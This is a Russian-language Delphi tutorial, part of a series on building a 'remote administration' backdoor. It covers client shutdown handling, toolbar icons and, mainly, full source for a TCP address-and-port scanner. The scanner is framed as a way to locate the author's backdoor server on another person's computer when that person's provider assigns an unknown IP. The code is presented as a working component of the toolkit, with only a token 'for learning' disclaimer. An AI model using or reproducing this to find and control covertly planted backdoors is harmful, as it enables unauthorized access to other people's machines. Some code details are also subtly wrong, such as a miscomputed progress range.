- В чем заключается многозадачность Windows?
- Она глючит и работает одновременно.
Начнем с отзывов. Во-первых, спасибо за положительные. Во-вторых, я допустил ошибку, а никто и не увидел. Процесс обработки очереди надо все-таки терминайтить. Но об этом далее. В-третьих, комментариев в коде вполне достаточно. Я так пишу. Охоту к написанию комментариев у меня отбили еще в универе. А если не можешь разобраться, так нафига вообще трепыхаться - ходи на порно-сайты и дыши с присвистом. В-четвертых, объясню почему сервер писался на асме. На это есть 6 причин:
Быстродействие. Все равно быстрее будет работать чем на сях и delphi (не говоря уже о тормознутом визуал бейсике. Такой язык надо в школе изучать - это надо ж, грузить dll-и и запускать с них функции);
Размеры. 11 kb "всунуть" в что-то все таки легче чем, например, 100;
Если мы пишем на асме, то имеем дело с ошибками своими и мелкософта, а не с глюками программера из фирмы Borland. Взять хотя-бы "RadioGroup" в Delphi;
В ранних версиях "DTr", периодически возникала ошибка 10060 асинхронной работы. Только на некоторых компьютерах, но все-таки. Написание сервера на сях не помогло. После выхода версии на асме и сооружения в клиенте процесса обработки очереди приходящих сообщений, у меня еще такой ошибки не возникало;
В своих продуктах фирмы по производству программного обеспечения, любят при ошибке вызывать исключительную ситуацию, на что виндоуз реагирует показом "красивого" окошка с сообщением об ошибке. Некоторые такие реакции не подавляются try-except. Для сервера это, мягко сказать, нежелательно. В асме все проще;
Для борьбы с буржуйскими программами с помощью WINdasm, SoftIce и т.п., ассемблер надо знать. А для того чтобы его знать, на нем иногда надо писать. Завести 2-ой комп и бегать, смотреть на одном окно SoftIce, а на другом доки - это сильно круто.
Теперь продолжим разговор о нашем клиенте. Как я уже говорил, процесс обработки очереди при разсоединении и выходе из проги надо прерывать. Для этого модифицируем нашу процедуру "ClientSocket1Disconnect", вставив в нее вот такой код:
Также нас интересует событие, происходящее перед выходом из клиента. Выделим нашу форму ("Form1"), перейдем в "Object Inspector" на закладку "Events" и 2 раза "click"-нем по "onClose". Перейдем в раздел кода и запишем:
// Выход из прогиprocedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Action := caNone;
if constat then
Form1.Button1Click(Sender);
Application.ProcessMessages;
Application.Terminate;
Halt(1);
end;
Теперь поговорим о визуализации и удобстве работы с клиентом. Кнопки, которые отвечают за посылание серверу команд, надо как-то выделить. Для этого воспользуемся объектом "ImageList" с закладки "Win32" ("ImageList1"). Помещаем его на форму и с помощью правой кнопки мыши добавляем в него изображения для кнопок. Теперь нужно выделить "ToolBar1" и в его свойстве "Images", из всплывающего списка, поставить "ImageList1". После этого перейдем на "ToolButton1", в свойстве "ImageIndex", выберем нужный рисунок. Для отображения "всплывающей" подсказки в свойстве "ShowHint" поставим "true", а в свойстве "Hint", напишем "Кнопка № 1". Очень информативно.
Сканер для сервера.
Допустим, мы знаем, что серверная часть запущена у человека (это звучит гордо), пользующегося услуами провайдера "Slow". Мы также знаем пространство адресов этого провайдера. Но мы не знаем, какой адрес даст провайдер этому челу.
Или у нас есть локалка. Почему-то иногда прога путает адреса на плюс-минус два. Почему - до сих пор не знаю (данная проблема была замечена не мной), но если кто знает, то пусть отпишет в "Отзывы".
Или мы изменили порт, а какой забыли.
Для всего этого нам нужен сканер по адресам и портам. То, о чем пойдет речь далее, можно использовать не только для нашего сервера. Итак, в Delphi, в проекте нашего сервера, выбираем в верхнем меню "File"-->"New Form". Пусть это будет "Form2". В свойстве "Caption" пишем "Сканер". Размещаем на форме компоненты:
Edit1
С какого порта начинать сканирование;
Edit2
По какой порт;
Edit3
Первые 3 цифры адреса в виде "xxx.xxx.xxx.xxx" (без точки в конце);
Edit4, Edit5
Диапазон последней цифры адреса;
Edit6
Время ожидания соединения (в секундах);
Button1
Начать/прекратить сканирование;
Memo1
Отчет сканирования;
ProgressBar1, ProgressBar2 (Win32)
Для визуализации процесса перебора по адресам и портам соответственно;
ClientSocket1
И так понятно.
Теперь на "Form1" лепим кнопку, обзываем ее "Scaner" и нажимаем на ней два раза. В разделе кода пишем :
В раздел "uses" добавляем "Unit2". Переходим на "Form2". Два раза нажимаем на "Button1", на события "onConnect" и "onError" в "ClientSocket1" и на "onClose" в "Form2". Вот текст модуля "Unit2.pas":
unit Unit2;
interfaceuses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, StdCtrls, ScktComp;
type
TForm2 = class(TForm)
Edit1: TEdit;
Edit2: TEdit;
Edit3: TEdit;
Edit4: TEdit;
Edit5: TEdit;
Edit6: TEdit;
Button1: TButton;
Memo1: TMemo;
ProgressBar1: TProgressBar;
ProgressBar2: TProgressBar;
ClientSocket1: TClientSocket;
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure Button1Click(Sender: TObject);
procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure ClientSocket1Connect(Sender: TObject; Socket: TCustomWinSocket);
private{ Private declarations }public{ Public declarations }end;
var
Form2: TForm2;
Rez11: Boolean = false;
Bool: Boolean = false;
implementation{$R *.DFM}//Close Scanerprocedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
begin// если запущен, то прерываем процессif Rez11 thenbegin
Action := caNone;
Form2.Button1Click(Sender);
end;
end;
// Включить/отключить сканерprocedure TForm2.Button1Click(Sender: TObject);
var
I, J, K: Integer;
DopStr: string;
beginif Rez11 thenbegin// прервать сканированиеif Application.MessageBox('Прервать сканирование?', 'Сканер', mb_YesNo + mb_IconQuestion) = idYes thenbegin
Rez11 := false;
Bool := false;
end;
endelsebegin// запуск сканераif StrToInt(Form2.Edit2.Text) < StrToInt(Form2.Edit1.Text) thenbegin
Application.MessageBox('Неверно указан диапазон для портов','Сканер', mb_Ok + mb_IconStop);
exit;
end;
if StrToInt(Form2.Edit5.Text) < StrToInt(Form2.Edit4.Text) thenbegin
Application.MessageBox('Неверно указан диапазон IP-адресов','Сканер', mb_Ok + mb_IconStop);
exit;
end;
Form2.Caption:='Идет сканирование...';
Form2.Memo1.Lines.Clear;
try
DopStr := trim(Form2.Edit3.Text);
Rez11 := true;
Form2.Button1.Caption := 'Отмена';
Form2.Memo1.Lines.Add('-------------' + #13 + #10 + '===========');
// начальные значения для порта и адреса
I := StrToInt(Form2.Edit1.Text);
J := StrToInt(Form2.Edit4.Text);
try
Form2.ProgressBar1.Max := StrToInt(Form2.Edit2.Text) - StrToInt(Form2.Edit2.Text) + 2;
Form2.ProgressBar1.Position := 1;
Form2.ProgressBar2.Max := StrToInt(Form2.Edit5.Text) - StrToInt(Form2.Edit4.Text) + 2;
Form2.ProgressBar2.Position := 1;
// цикл по адресамwhile I <= StrToInt(Form2.Edit2.Text) dobegin
J := StrToInt(Form2.Edit4.Text);
// цикл по портамwhile J <= StrToInt(Form2.Edit5.Text) dobegin
Application.ProcessMessages;
ifnot Rez11 then
break;
Form2.ClientSocket1.Active := false;
Form2.ClientSocket1.Port := I;
Form2.ClientSocket1.Address := trim(DopStr) + '.' + trim(IntToStr(J));
try// попытка соедениться
Form2.ClientSocket1.Active := true;
Application.ProcessMessages;
// время ожидания
Bool := true;
K := round(StrToInt(Form2.Edit6.Text) * 1000 / 50);
while Bool dobegin
Sleep(50);
Application.ProcessMessages;
dec(K);
if K=0 thenbegintry
Form2.ClientSocket1.Active:=false;
exceptend;
break;
end;
end;
exceptend;
Application.ProcessMessages;
Form2.ProgressBar2.Position := Form2.ProgressBar2.Position + 1;
inc(J);
end;
inc(I);
Application.ProcessMessages;
ifnot Rez11 then
break;
Form2.ProgressBar1.Position := Form2.ProgressBar1.Position + 1;
end;
Form2.ProgressBar2.Position := Form2.ProgressBar1.Position + 1;
Form2.ProgressBar1.Position := Form2.ProgressBar1.Position + 1;
except
Application.MessageBox('Ошибка выполнения операции', 'Сканер', MB_Ok + mb_IconStop);
end;
Form2.Button1.Caption := 'Сканер';
Form2.ProgressBar1.Position := 0;
Form2.ProgressBar2.Position := 0;
Form2.Caption := 'Сканер по адресам и портам';
if Rez11 thenbegin
Application.MessageBox('Процедура сканирования по адресам и портам закончена.', 'Сканер', mb_Ok + mb_IconAsterisk);
Form2.Memo1.Lines.Add('-----------------'+#13+#10+'========== ВСЕ АДРЕСА И ПОРТЫ ОТСКАНИРОВАНЫ'+#13+#10+#13+#10);
Rez11 := false;
endelse
Form2.Memo1.Lines.Add('------------'+#13+#10+'============== ПРЕРВАНО НА порт-'+IntToStr(I)+', адрес-'+trim(DopStr)+'.'+IntToStr(J-1)+#13+#10+#13+#10);
except
Application.MessageBox('Ошибка инициализации процесса.','Сканер',mb_Ok+mb_IconStop);
end;
Form2.Caption:='Сканер по адресам и портам';
end;
end;
// Есть ответ сервераprocedure TForm2.ClientSocket1Connect(Sender: TObject; Socket: TCustomWinSocket);
begin// если соеденились вывести сообщение
Form2.Memo1.Lines.Add('***' + #13 + #10 + 'Порт: ' + IntToStr(Form2.ClientSocket1.Port) + ' ' + 'Адрес: ' + Form2.ClientSocket1.Address + ' - ЕСТЬ ОТВЕТ' + #13 + #10);
Application.ProcessMessages;
// прервать время ожиданияtry
Form2.ClientSocket1.Active := false;
exceptend;
Bool := false;
end;
// Ошибка при соединенииprocedure TForm2.ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin// прервать время ожидания если ошибка
ErrorCode := 0;
Bool := false;
end;
end.
Теперь проверим. Запускаем сервер и клиент. Жмем кнопку "Сканер". В "Edit1" пишем "10001", в "Edit2" - "10001", в "Edit3" - "127.0.0", в "Edit4" - "1", в "Edit5" - "254", в "Edit6" - "1". Все значения без кавычек. Жмем нашу кнопку начала сканирования. Все, проверка закончена.
P.S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.
Бэкдор - удаленное администрирование 2: о многозадачности Windows, сканировании по адресам и портам.
Комментарии и вопросы
Получайте свежие новости и обновления по Object Pascal, Delphi и Lazarus прямо в свой смартфон. Подпишитесь на наш Telegram-канал delphi_kansoftware и будьте в курсе последних тенденций в разработке под Linux, Windows, Android и iOS
Материалы статей собраны из открытых источников, владелец сайта не претендует на авторство. Там где авторство установить не удалось, материал подаётся без имени автора. В случае если Вы считаете, что Ваши права нарушены, пожалуйста, свяжитесь с владельцем сайта.